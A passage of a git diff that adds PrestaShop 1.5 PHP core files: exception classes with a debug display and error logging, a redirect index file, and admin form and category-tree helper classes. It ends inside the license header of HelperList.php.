+*/ + +/** + * @since 1.5.0 + */ +class PrestaShopDatabaseExceptionCore extends PrestaShopException +{ + public function __toString() + { + return $this->message; + } +} + diff --git a/classes/exception/PrestaShopException.php b/classes/exception/PrestaShopException.php new file mode 100755 index 0000000..f01ff00 --- /dev/null +++ b/classes/exception/PrestaShopException.php @@ -0,0 +1,169 @@ +<?php +/* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Open Software License (OSL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/osl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA <contact@prestashop.com> +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +/** + * @since 1.5.0 + */ +class PrestaShopExceptionCore extends Exception +{ + /** + * This method acts like an error handler, if dev mode is on, display the error else use a better silent way + */ + public function displayMessage() + { + header('HTTP/1.1 500 Internal Server Error'); + if (_PS_MODE_DEV_ || defined('_PS_ADMIN_DIR_')) + { + // Display error message + echo '<style> + #psException{font-family: Verdana; font-size: 14px} + #psException h2{color: #F20000} + #psException p{padding-left: 20px} + #psException ul li{margin-bottom: 10px} + #psException a{font-size: 12px; color: #000000} + #psException .psTrace, #psException .psArgs{display: none} + #psException pre{border: 1px solid #236B04; background-color: #EAFEE1; padding: 5px; font-family: Courier; width: 99%; overflow-x: auto; margin-bottom: 30px;} + #psException .psArgs pre{background-color: #F1FDFE;} + #psException pre .selected{color: #F20000; font-weight: bold;} + </style>'; + echo '<div id="psException">'; + echo '<h2>['.get_class($this).']</h2>'; + echo $this->getExentedMessage(); + + $this->displayFileDebug($this->getFile(), $this->getLine()); + + // Display debug backtrace + echo '<ul>'; + foreach ($this->getTrace() as $id => $trace) + { + $relative_file = (isset($trace['file'])) ? ltrim(str_replace(array(_PS_ROOT_DIR_, '\\'), array('', '/'), $trace['file']), '/') : ''; + $current_line = (isset($trace['line'])) ? $trace['line'] : ''; + + echo '<li>'; + echo '<b>'.((isset($trace['class'])) ? $trace['class'] : '').((isset($trace['type'])) ? $trace['type'] : '').$trace['function'].'</b>'; + echo ' - <a href="#" style="font-size: 12px; color: #000000" onclick="document.getElementById(\'psTrace_'.$id.'\').style.display = (document.getElementById(\'psTrace_'.$id.'\').style.display != \'block\') ? \'block\' : \'none\'; return false">[line '.$current_line.' - '.$relative_file.']</a>'; + + if (count($trace['args'])) + echo ' - <a href="#" onclick="document.getElementById(\'psArgs_'.$id.'\').style.display = (document.getElementById(\'psArgs_'.$id.'\').style.display != \'block\') ? \'block\' : \'none\'; return false">['.count($trace['args']).' Arguments]</a>'; + else + echo ' - <span style="font-size: 12px;">[0 Argument]</a>'; + + if ($relative_file) + $this->displayFileDebug($trace['file'], $trace['line'], $id); + $this->displayArgsDebug($trace['args'], $id); + echo '</li>'; + } + echo '</ul>'; + echo '</div>'; + } + else + { + // If not in mode dev, display an error page + if (file_exists(_PS_ROOT_DIR_.'/error500.html')) + echo file_get_contents(_PS_ROOT_DIR_.'/error500.html'); + } + // Log the error in the disk + $this->logError(); + exit; + } + + /** + * Display lines around current line + * + * @param string $file + * @param int $line + * @param string $id + */ + protected function displayFileDebug($file, $line, $id = null) + { + $lines = file($file); + $offset = $line - 6; + $total = 11; + if ($offset < 0) + { + $total += $offset; + $offset = 0; + } + $lines = array_slice($lines, $offset, $total); + + echo '<div class="psTrace" id="psTrace_'.$id.'" '.((is_null($id) ? 'style="display: block"' : '')).'><pre>'; + foreach ($lines as $k => $l) + { + if ($offset + $k == $line - 1) + echo '<span class="selected">'.($offset + $k).'. '.htmlspecialchars($l).'</span>'; + else + echo ($offset + $k).'. '.htmlspecialchars($l); + } + echo '</pre></div>'; + } + + /** + * Display arguments list of traced function + * + * @param array $args List of arguments + * @param string $id ID of argument + */ + protected function displayArgsDebug($args, $id) + { + echo '<div class="psArgs" id="psArgs_'.$id.'"><pre>'; + foreach ($args as $arg => $value) + { + echo '<b>Argument ['.$arg."]</b>\n"; + print_r($value); + echo "\n"; + } + echo '</pre>'; + } + + /** + * Log the error on the disk + */ + protected function logError() + { + $logger = new FileLogger(); + $logger->setFilename(_PS_ROOT_DIR_.'/log/'.date('Ymd').'_exception.log'); + $logger->logError($this->getExentedMessage(false)); + } + + /** + * Return the content of the Exception + * @return string content of the exception + */ + protected function getExentedMessage($html = true) + { + $format = '<p><b>%s</b><br /><i>at line </i><b>%d</b><i> in file </i><b>%s</b></p>'; + if (!$html) + $format = strip_tags(str_replace('<br />', ' ', $format)); + + return sprintf( + $format, + $this->getMessage(), + $this->getLine(), + ltrim(str_replace(array(_PS_ROOT_DIR_, '\\'), array('', '/'), $this->getFile()), '/') + ); + } + +} diff --git a/classes/exception/PrestaShopModuleException.php b/classes/exception/PrestaShopModuleException.php new file mode 100755 index 0000000..b050f12 --- /dev/null +++ b/classes/exception/PrestaShopModuleException.php @@ -0,0 +1,34 @@ +<?php +/* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Open Software License (OSL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/osl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA <contact@prestashop.com> +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +/** + * @since 1.5.0 + */ +class PrestaShopModuleExceptionCore extends PrestaShopException +{ + +} + diff --git a/classes/exception/PrestaShopPaymentException.php b/classes/exception/PrestaShopPaymentException.php new file mode 100755 index 0000000..2ffac62 --- /dev/null +++ b/classes/exception/PrestaShopPaymentException.php @@ -0,0 +1,34 @@ +<?php +/* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Open Software License (OSL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/osl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA <contact@prestashop.com> +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +/** + * @since 1.5.0 + */ +class PrestaShopPaymentExceptionCore extends PrestaShopException +{ + +} + diff --git a/classes/exception/index.php b/classes/exception/index.php new file mode 100755 index 0000000..f42f03e --- /dev/null +++ b/classes/exception/index.php @@ -0,0 +1,35 @@ +<?php +/* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Open Software License (OSL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/osl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA <contact@prestashop.com> +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/classes/helper/Helper.php b/classes/helper/Helper.php new file mode 100755 index 0000000..83c998f --- /dev/null +++ b/classes/helper/Helper.php @@ -0,0 +1,406 @@ +<?php +/* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Open Software License (OSL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/osl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA <contact@prestashop.com> +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +class HelperCore +{ + public $currentIndex; + public $table; + public $identifier; + public $token; + public $toolbar_btn; + public $ps_help_context; + public $title; + public $show_toolbar = true; + public $context; + public $toolbar_scroll = false; + + /** + * @var Module + */ + public $module; + + /** @var string Helper tpl folder */ + public $base_folder; + + /** @var string Controller tpl folder */ + public $override_folder; + + /** + * @var smartyTemplate base template object + */ + protected $tpl; + + /** + * @var string base template name + */ + public $base_tpl = 'content.tpl'; + + public $tpl_vars = array(); + + public function __construct() + { + $this->context = Context::getContext(); + } + + public function setTpl($tpl) + { + $this->tpl = $this->createTemplate($tpl); + } + + /** + * Create a template from the override file, else from the base file. + * + * @param string $tpl_name filename + * @return Template + */ + public function createTemplate($tpl_name) + { + if ($this->override_folder) + { + if ($this->context->controller instanceof ModuleAdminController) + $override_tpl_path = $this->context->controller->getTemplatePath().$this->override_folder.$this->base_folder.$tpl_name; + else if ($this->module) + $override_tpl_path = _PS_MODULE_DIR_.$this->module->name.'/views/templates/admin/_configure/'.$this->override_folder.$this->base_folder.$tpl_name; + else + { + if (file_exists($this->context->smarty->getTemplateDir(1).DIRECTORY_SEPARATOR.$this->override_folder.$this->base_folder.$tpl_name)) + $override_tpl_path = $this->context->smarty->getTemplateDir(1).DIRECTORY_SEPARATOR.$this->override_folder.$this->base_folder.$tpl_name; + else if (file_exists($this->context->smarty->getTemplateDir(0).DIRECTORY_SEPARATOR.'controllers'.DIRECTORY_SEPARATOR.$this->override_folder.$this->base_folder.$tpl_name)) + $override_tpl_path = $this->context->smarty->getTemplateDir(0).'controllers'.DIRECTORY_SEPARATOR.$this->override_folder.$this->base_folder.$tpl_name; + + } + } + else if ($this->module) + $override_tpl_path = _PS_MODULE_DIR_.$this->module->name.'/views/templates/admin/_configure/'.$this->base_folder.$tpl_name; + + if (isset($override_tpl_path) && file_exists($override_tpl_path)) + return $this->context->smarty->createTemplate($override_tpl_path, $this->context->smarty); + else + return $this->context->smarty->createTemplate($this->base_folder.$tpl_name, $this->context->smarty); + } + + /** + * default behaviour for helper is to return a tpl fetched + * + * @return void + */ + public function generate() + { + $this->tpl->assign($this->tpl_vars); + return $this->tpl->fetch(); + } + + /** + * @deprecated 1.5.0 + */ + public static function renderAdminCategorieTree($translations, + $selected_cat = array(), + $input_name = 'categoryBox', + $use_radio = false, + $use_search = false, + $disabled_categories = array(), + $use_in_popup = false) + { + Tools::displayAsDeprecated(); + + $helper = new Helper(); + if (isset($translations['Root'])) + $root = $translations['Root']; + else if (isset($translations['Home'])) + $root = array('name' => $translations['Home'], 'id_category' => 1); + else + throw new PrestaShopException('Missing root category parameter.'); + + return $helper->renderCategoryTree($root, $selected_cat, $input_name, $use_radio, $use_search, $disabled_categories, $use_in_popup); + } + + /** + * + * @param array $root array with the name and ID of the tree root category, if null the Shop's root category will be used + * @param type $selected_cat array of selected categories + * Format + * Array + * ( + * [0] => 1 + * [1] => 2 + * ) + * OR + * Array + * ( + * [1] => Array + * ( + * [id_category] => 1 + * [name] => Home page + * ) + * ) + * @param string $input_name name of input + * @param bool $use_radio use radio tree or checkbox tree + * @param bool $use_search display a find category search box + * @param array $disabled_categories + * @param bool $use_in_popup + * @param bool $use_shop_context + * @return string + */ + public function renderCategoryTree($root = null, + $selected_cat = array(), + $input_name = 'categoryBox', + $use_radio = false, + $use_search = false, + $disabled_categories = array(), + $use_in_popup = false, + $use_shop_context = false) + { + $translations = array( + 'selected' => $this->l('Selected'), + 'Collapse All' => $this->l('Collapse All'), + 'Expand All' => $this->l('Expand All'), + 'Check All' => $this->l('Check All'), + 'Uncheck All' => $this->l('Uncheck All'), + 'search' => $this->l('Find a category') + ); + + $top_category = Category::getTopCategory(); + if (Tools::isSubmit('id_shop')) + $id_shop = Tools::getValue('id_shop'); + else + if (Context::getContext()->shop->id) + $id_shop = Context::getContext()->shop->id; + else + if (!Shop::isFeatureActive()) + $id_shop = Configuration::get('PS_SHOP_DEFAULT'); + else + $id_shop = 0; + $shop = new Shop($id_shop); + $root_category = Category::getRootCategory(null, $shop); + $disabled_categories[] = $top_category->id; + if (!$root) + $root = array('name' => $root_category->name, 'id_category' => $root_category->id); + + if (!$use_radio) + $input_name = $input_name.'[]'; + + $this->context->controller->addCSS(_PS_JS_DIR_.'jquery/plugins/treeview-categories/jquery.treeview-categories.css'); + $this->context->controller->addJs(array( + _PS_JS_DIR_.'jquery/plugins/treeview-categories/jquery.treeview-categories.js', + _PS_JS_DIR_.'jquery/plugins/treeview-categories/jquery.treeview-categories.async.js', + _PS_JS_DIR_.'jquery/plugins/treeview-categories/jquery.treeview-categories.edit.js', + _PS_JS_DIR_.'admin-categories-tree.js')); + if ($use_search) + $this->context->controller->addJs(_PS_JS_DIR_.'jquery/plugins/autocomplete/jquery.autocomplete.js'); + + $html = ' + <script type="text/javascript"> + var inputName = "'.$input_name.'"; + '; + if (count($selected_cat) > 0) + { + if (isset($selected_cat[0])) + $html .= 'var selectedCat = "'.implode(',', $selected_cat).'";'; + else + $html .= 'var selectedCat = "'.implode(',', array_keys($selected_cat)).'";'; + } + else + $html .= 'var selectedCat = "";'; + $html .= ' + var selectedLabel = \''.$translations['selected'].'\'; + var home = \''.$root['name'].'\'; + var use_radio = '.(int)$use_radio.';'; + if (!$use_in_popup) + $html .= ' + $(document).ready(function(){ + buildTreeView('.$use_shop_context.'); + });'; + else + $html .= 'buildTreeView('.$use_shop_context.');'; + $html .= '</script>'; + + $html .= ' + <div class="category-filter"> + <span><a href="#" id="collapse_all" >'.$translations['Collapse All'].'</a> + | </span> + <span><a href="#" id="expand_all" >'.$translations['Expand All'].'</a> + '.(!$use_radio ? ' + |</span> + <span> <a href="#" id="check_all" >'.$translations['Check All'].'</a> + |</span> + <span><a href="#" id="uncheck_all" >'.$translations['Uncheck All'].'</a>|</span> + ' : '').($use_search ? '<span>'.$translations['search'].' : <input type="text" name="search_cat" id="search_cat"></span>' : '').' + </div> + '; + + $home_is_selected = false; + foreach ($selected_cat as $cat) + { + if (is_array($cat)) + { + $disabled = in_array($cat['id_category'], $disabled_categories); + if ($cat['id_category'] != $root['id_category']) + $html .= '<input '.($disabled?'disabled="disabled"':'').' type="hidden" name="'.$input_name.'" value="'.$cat['id_category'].'" >'; + else + $home_is_selected = true; + } + else + { + $disabled = in_array($cat, $disabled_categories); + if ($cat != $root['id_category']) + $html .= '<input '.($disabled?'disabled="disabled"':'').' type="hidden" name="'.$input_name.'" value="'.$cat.'" >'; + else + $home_is_selected = true; + } + } + + $root_input = ' '; + if ($root['id_category'] != $top_category->id || (Tools::isSubmit('ajax') && Tools::getValue('action') == 'getCategoriesFromRootCategory')) + $root_input = '<input type="'.(!$use_radio ? 'checkbox' : 'radio').'" name="' + .$input_name.'" value="'.$root['id_category'].'" ' + .($home_is_selected ? 'checked' : '').' onclick="clickOnCategoryBox($(this));" /> + <span class="category_label">' + .$root['name']. + '</span>'; + $html .= ' + <ul id="categories-treeview" class="filetree"> + <li id="'.$root['id_category'].'" class="hasChildren"> + <span class="folder">'.$root_input.' </span> + <ul> + <li><span class="placeholder"> </span></li> + </ul> + </li> + </ul>'; + + if ($use_search) + $html .= '<script type="text/javascript">searchCategory();</script>'; + return $html; + } + + /** + * use translations files to replace english expression. + * + * @param mixed $string term or expression in english + * @param string $class + * @param boolan $addslashes if set to true, the return value will pass through addslashes(). Otherwise, stripslashes(). + * @param boolean $htmlentities if set to true(default), the return value will pass through htmlentities($string, ENT_QUOTES, 'utf-8') + * @return string the translation if available, or the english default text. + */ + protected function l($string, $class = 'AdminTab', $addslashes = false, $htmlentities = true) + { + // if the class is extended by a module, use modules/[module_name]/xx.php lang file + $currentClass = get_class($this); + if (Module::getModuleNameFromClass($currentClass)) + return Translate::getModuleTranslation(Module::$classInModule[$currentClass], $string, $currentClass); + + return Translate::getAdminTranslation($string, get_class($this), $addslashes, $htmlentities); + } + + /** + * Render a form with potentials required fields + * + * @param string $class_name + * @param string $identifier + * @param array $table_fields + * @return string + */ + public function renderRequiredFields($class_name, $identifier, $table_fields) + { + $rules = call_user_func_array(array($class_name, 'getValidationRules'), array($class_name)); + $required_class_fields = array($identifier); + foreach ($rules['required'] as $required) + $required_class_fields[] = $required; + + $object = new $class_name(); + $res = $object->getFieldsRequiredDatabase(); + + $required_fields = array(); + foreach ($res as $row) + $required_fields[(int)$row['id_required_field']] = $row['field_name']; + + $this->tpl_vars = array( + 'table_fields' => $table_fields, + 'irow' => 0, + 'required_class_fields' => $required_class_fields, + 'required_fields' => $required_fields, + 'current' => $this->currentIndex, + 'token' => $this->token + ); + + $tpl = $this->createTemplate('helpers/required_fields.tpl'); + $tpl->assign($this->tpl_vars); + + return $tpl->fetch(); + } + + public function renderModulesList($modules_list) + { + $this->tpl_vars = array('modules_list' => $modules_list); + + $tpl = $this->createTemplate('helpers/modules_list/list.tpl'); + $tpl->assign($this->tpl_vars); + + return $tpl->fetch(); + } + + public static function renderShopList() + { + if (!Shop::isFeatureActive() || Shop::getTotalShops(false, null) < 2) + return null; + + $tree = Shop::getTree(); + $context = Context::getContext(); + + // Get default value + $shop_context = Shop::getContext(); + if ($shop_context == Shop::CONTEXT_ALL || ($context->controller->multishop_context_group == false && $shop_context == Shop::CONTEXT_GROUP)) + $value = ''; + else if ($shop_context == Shop::CONTEXT_GROUP) + $value = 'g-'.Shop::getContextShopGroupID(); + else + $value = 's-'.Shop::getContextShopID(); + + // Generate HTML + $url = $_SERVER['REQUEST_URI'].(($_SERVER['QUERY_STRING']) ? '&' : '?').'setShopContext='; + $html = '<select class="shopList chosen" onchange="location.href = \''.$url.'\'+$(this).val();">'; + + $html .= '<option value="" class="first">'.Translate::getAdminTranslation('All shops').'</option>'; + foreach ($tree as $gID => $group_data) + { + if ((!isset($context->controller->multishop_context) || $context->controller->multishop_context & Shop::CONTEXT_GROUP)) + $html .= '<option class="group" value="g-'.$gID.'" '.(($value == 'g-'.$gID) ? 'selected="selected"' : '').' '.($context->controller->multishop_context_group == false ? 'disabled="disabled"' : '').'>'.Translate::getAdminTranslation('Group:').' '.htmlspecialchars($group_data['name']).'</option>'; + else + $html .= '<optgroup class="group" label="'.Translate::getAdminTranslation('Group:').' '.htmlspecialchars($group_data['name']).'" '.($context->controller->multishop_context_group == false ? 'disabled="disabled"' : '').'>'; + + if (!isset($context->controller->multishop_context) || $context->controller->multishop_context & Shop::CONTEXT_SHOP) + foreach ($group_data['shops'] as $sID => $shopData) + if ($shopData['active']) + $html .= '<option value="s-'.$sID.'" class="shop" '.(($value == 's-'.$sID) ? 'selected="selected"' : '').'>» '.($context->controller->multishop_context_group == false ? htmlspecialchars($group_data['name']).' - ' : '').$shopData['name'].'</option>'; + + if (!(!isset($context->controller->multishop_context) || $context->controller->multishop_context & Shop::CONTEXT_GROUP)) + $html .= '</optgroup>'; + } + $html .= '</select>'; + + return $html; + } +} + diff --git a/classes/helper/HelperForm.php b/classes/helper/HelperForm.php new file mode 100755 index 0000000..ff9810b --- /dev/null +++ b/classes/helper/HelperForm.php @@ -0,0 +1,249 @@ +<?php +/* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Open Software License (OSL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/osl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA <contact@prestashop.com> +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +/** + * @since 1.5.0 + */ +class HelperFormCore extends Helper +{ + public $id; + public $first_call = true; + + /** @var array of forms fields */ + protected $fields_form = array(); + + /** @var array values ​​of form fields */ + public $fields_value = array(); + + public $table; + public $name_controller = ''; + + /** @var string if not null, a title will be added on that list */ + public $title = null; + + /** @var string Used to override default 'submitAdd' parameter in form action attribute */ + public $submit_action; + + public $token; + public $languages = null; + public $default_form_language = null; + public $allow_employee_form_lang = null; + + public function __construct() + { + $this->base_folder = 'helpers/form/'; + $this->base_tpl = 'form.tpl'; + parent::__construct(); + } + + public function generateForm($fields_form) + { + $this->fields_form = $fields_form; + return $this->generate(); + } + + public function generate() + { + $this->tpl = $this->createTemplate($this->base_tpl); + if (is_null($this->submit_action)) + $this->submit_action = 'submitAdd'.$this->table; + + $this->context->controller->addJS(_PS_JS_DIR_.'form.js'); + + $categories = true; + $color = true; + $date = true; + $tinymce = true; + foreach ($this->fields_form as $fieldset_key => &$fieldset) + if (isset($fieldset['form']['input'])) + foreach ($fieldset['form']['input'] as $key => &$params) + { + // If the condition is not met, the field will not be displayed + if (isset($params['condition']) && !$params['condition']) + unset($this->fields_form[$fieldset_key]['form']['input'][$key]); + switch ($params['type']) + { + case 'categories': + if ($categories) + { + // Added Jquery plugin treeview (css and js files) + $this->context->controller->addJqueryPlugin('treeview-categories'); + + // Added JS files + $this->context->controller->addJS(_PS_JS_DIR_.'jquery/plugins/treeview-categories/jquery.treeview-categories.async.js'); + $this->context->controller->addJS(_PS_JS_DIR_.'jquery/plugins/treeview-categories/jquery.treeview-categories.edit.js'); + $this->context->controller->addJS(_PS_JS_DIR_.'admin-categories-tree.js'); + + if (isset($params['use_search']) && $params['use_search']) + $this->context->controller->addJS(_PS_JS_DIR_.'jquery/plugins/autocomplete/jquery.autocomplete.js'); + $categories = false; + } + break; + + case 'color': + if ($color) + { + // Added JS file + $this->context->controller->addJS(_PS_JS_DIR_.'jquery/plugins/jquery.colorpicker.js'); + $color = false; + } + break; + + case 'date': + if ($date) + { + $this->context->controller->addJqueryUI('ui.datepicker'); + $date = false; + } + break; + + case 'textarea': + if ($tinymce) + { + $iso = $this->context->language->iso_code; + $this->tpl_vars['iso'] = file_exists(_PS_ROOT_DIR_.'/js/tiny_mce/langs/'.$iso.'.js') ? $iso : 'en'; + $this->tpl_vars['path_css'] = _THEME_CSS_DIR_; + $this->tpl_vars['ad'] = dirname($_SERVER['PHP_SELF']); + $this->tpl_vars['tinymce'] = true; + + $this->context->controller->addJS(_PS_JS_DIR_.'tiny_mce/tiny_mce.js'); + $this->context->controller->addJS(_PS_JS_DIR_.'tinymce.inc.js'); + $tinymce = false; + } + break; + + case 'shop' : + $disable_shops = isset($params['disable_shared']) ? $params['disable_shared'] : false; + $params['html'] = $this->renderAssoShop($disable_shops); + if (Shop::getTotalShops(false) == 1) + unset($this->fields_form[$fieldset_key]['form']['input'][$key]); + break; + } + } + + $this->tpl->assign(array( + 'title' => $this->title, + 'toolbar_btn' => $this->toolbar_btn, + 'show_toolbar' => $this->show_toolbar, + 'toolbar_scroll' => $this->toolbar_scroll, + 'submit_action' => $this->submit_action, + 'firstCall' => $this->first_call, + 'current' => $this->currentIndex, + 'token' => $this->token, + 'table' => $this->table, + 'identifier' => $this->identifier, + 'name_controller' => $this->name_controller, + 'languages' => $this->languages, + 'defaultFormLanguage' => $this->default_form_language, + 'allowEmployeeFormLang' => $this->allow_employee_form_lang, + 'form_id' => $this->id, + 'fields' => $this->fields_form, + 'fields_value' => $this->fields_value, + 'required_fields' => $this->getFieldsRequired(), + 'vat_number' => file_exists(_PS_MODULE_DIR_.'vatnumber/ajax.php'), + 'module_dir' => _MODULE_DIR_, + 'contains_states' => (isset($this->fields_value['id_country']) && isset($this->fields_value['id_state'])) ? Country::containsStates($this->fields_value['id_country']) : null, + )); + return parent::generate(); + } + + /** + * Return true if there are required fields + */ + public function getFieldsRequired() + { + foreach ($this->fields_form as $fieldset) + if (isset($fieldset['form']['input'])) + foreach ($fieldset['form']['input'] as $input) + if (array_key_exists('required', $input) && $input['required'] && $input['type'] != 'radio') + return true; + + return false; + } + + /** + * Render an area to determinate shop association + * + * @return string + */ + public function renderAssoShop($disable_shared = false) + { + if (!Shop::isFeatureActive()) + return; + + $assos = array(); + if ((int)$this->id) + { + $sql = 'SELECT `id_shop`, `'.bqSQL($this->identifier).'` + FROM `'._DB_PREFIX_.bqSQL($this->table).'_shop` + WHERE `'.bqSQL($this->identifier).'` = '.(int)$this->id; + + foreach (Db::getInstance()->executeS($sql) as $row) + $assos[$row['id_shop']] = $row['id_shop']; + } + else + { + switch (Shop::getContext()) + { + case Shop::CONTEXT_SHOP : + $assos[Shop::getContextShopID()] = Shop::getContextShopID(); + break; + + case Shop::CONTEXT_GROUP : + foreach (Shop::getShops(false, Shop::getContextShopGroupID(), true) as $id_shop) + $assos[$id_shop] = $id_shop; + break; + + default : + foreach (Shop::getShops(false, null, true) as $id_shop) + $assos[$id_shop] = $id_shop; + break; + } + } + + $tpl = $this->createTemplate('assoshop.tpl'); + $tree = Shop::getTree(); + $nb_shop = 0; + foreach ($tree as &$value) + { + $value['disable_shops'] = (isset($value[$disable_shared]) && $value[$disable_shared]); + $nb_shop += count($value['shops']); + } + $tpl->assign(array( + 'input' => array( + 'type' => 'shop', + 'values' => $tree, + ), + 'fields_value' => array( + 'shop' => $assos + ), + 'form_id' => $this->id, + 'table' => $this->table, + 'nb_shop' => $nb_shop + )); + return $tpl->fetch(); + } +} diff --git a/classes/helper/HelperHelpAccess.php b/classes/helper/HelperHelpAccess.php new file mode 100755 index 0000000..179a356 --- /dev/null +++ b/classes/helper/HelperHelpAccess.php @@ -0,0 +1,80 @@ +<?php +/* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Open Software License (OSL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/osl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA <contact@prestashop.com> +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +/** + * @since 1.5 + */ +class HelperHelpAccessCore extends Helper +{ + public $label; + public $iso_lang; + public $country; + public $ps_version; + + public function __construct($label, $iso_lang, $country, $ps_version) + { + parent::__construct(); + $this->base_folder = 'helpers/help_access/'; + + $this->tpl = $this->createTemplate('button.tpl'); + $this->label = $label; + $this->iso_lang = $iso_lang; + $this->country = $country; + $this->ps_version = $ps_version; + } + + /** + * @return string|void + */ + public function generate() + { + $info = HelpAccess::retrieveInfos($this->label, $this->iso_lang, $this->country, $this->ps_version); + $content = ''; + + if (array_key_exists('version', $info) && $info['version'] != '') + { + $last_version = HelpAccess::getVersion($this->label); + + $tpl_vars['button_class'] = 'process-icon-help'; + if ($last_version < $info['version']) + $tpl_vars['button_class'] = 'process-icon-help-new'; + + $tpl_vars['label'] = $this->label; + $tpl_vars['iso_lang'] = $this->iso_lang; + $tpl_vars['country'] = $this->country; + $tpl_vars['version'] = $this->ps_version; + $tpl_vars['doc_version'] = $info['version']; + $tpl_vars['help_base_url'] = HelpAccess::URL; + $tpl_vars['tooltip'] = $info['tooltip']; + + $this->tpl->assign($tpl_vars); + + $content = parent::generate(); + } + + return $content; + } +} \ No newline at end of file diff --git a/classes/helper/HelperList.php b/classes/helper/HelperList.php new file mode 100755 index 0000000..c7d6ca6 --- /dev/null +++ b/classes/helper/HelperList.php @@ -0,0 +1,627 @@ +<?php +/* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Open Software License (OSL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/osl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA <contact@prestashop.com> +* @copyright 2007-2013 PrestaShop 